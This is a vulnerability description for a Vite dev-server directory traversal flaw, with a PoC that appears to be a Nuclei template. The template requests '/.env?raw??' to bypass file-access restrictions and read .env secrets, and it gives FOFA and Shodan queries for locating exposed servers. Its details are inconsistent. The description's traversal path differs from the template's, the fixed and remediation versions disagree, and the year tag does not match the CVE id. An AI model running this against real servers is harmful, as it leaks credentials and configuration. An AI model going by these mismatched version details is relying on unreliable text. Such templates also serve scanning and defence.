Vite is a modern frontend build tool. In Vite prior to versions 6.4.3, 6.3.4, and 5.4.23, a directory traversal vulnerability affects the Vite development server. When the Vite dev server is launched with the --host or server.host option, an unauthenticated attacker can craft a request with a path containing dot segments (e.g., /.vite/../<filename>) to bypass static file restrictions and access arbitrary files on the filesystem under the project root. The vulnerability allows access to files normally denied by Vite’s "server.fs.deny" setting, including sensitive files like .env, configuration files, or credentials in the project root. This issue has been fixed in versions 6.4.3, 6.3.4, and 5.4.23.
PoC
id: CVE-2026-39364
info:
name: Vite Dev Server - Directory Traversal
author: ritikchaddha
severity: high
description: |
Vite is a modern frontend build tool. In Vite prior to versions 6.4.3, 6.3.4, and 5.4.23, a directory traversal vulnerability affects the Vite development server. When the Vite dev server is launched with the --host or server.host option, an unauthenticated attacker can craft a request with a path containing dot segments (e.g., /.vite/../<filename>) to bypass static file restrictions and access arbitrary files on the filesystem under the project root. The vulnerability allows access to files normally denied by Vite’s "server.fs.deny" setting, including sensitive files like .env, configuration files, or credentials in the project root. This issue has been fixed in versions 6.4.3, 6.3.4, and 5.4.23.
impact: |
Attackers can retrieve sensitive files like .env or certificates, leading to information disclosure.
remediation: |
Update to versions 7.3.2 or 8.0.5 or later.
reference:
- https://github.com/vitejs/vite/security/advisories/GHSA-cw47-99h4-q43f
- https://nvd.nist.gov/vuln/detail/CVE-2026-39364
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2026-39364
cwe-id: CWE-22
epss-score: 0.01996
epss-percentile: 0.79683
metadata:
max-request: 2
fofa-query: body="/@vite/client"
shodan-query: http.html:"/@vite/client"
tags: cve,cve2025,vite,exposure,bypass,vkev
flow: http(1) && http(2)
http:
- method: GET
path:
- "{{BaseURL}}/.env"
matchers:
- type: status
status:
- 403
internal: true
- method: GET
path:
- "{{BaseURL}}/.env?raw??"
matchers:
- type: dsl
dsl:
- 'contains_all(body, "export default", "data:application/json;base64")'
- 'contains_any(content_type, "text/javascript", "application/javascript")'
- '!contains(tolower(body), "<html")'
- 'status_code == 200'
condition: and
# digest: 490a0046304402200441efa02f0101dcb80bfbd61a74411311badbec92de21509588408826f9efb6022029ad8f9d4878d58c230de8b0a5ba3d7e6078589bf2d09d57dfd1a4f781bc767b:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.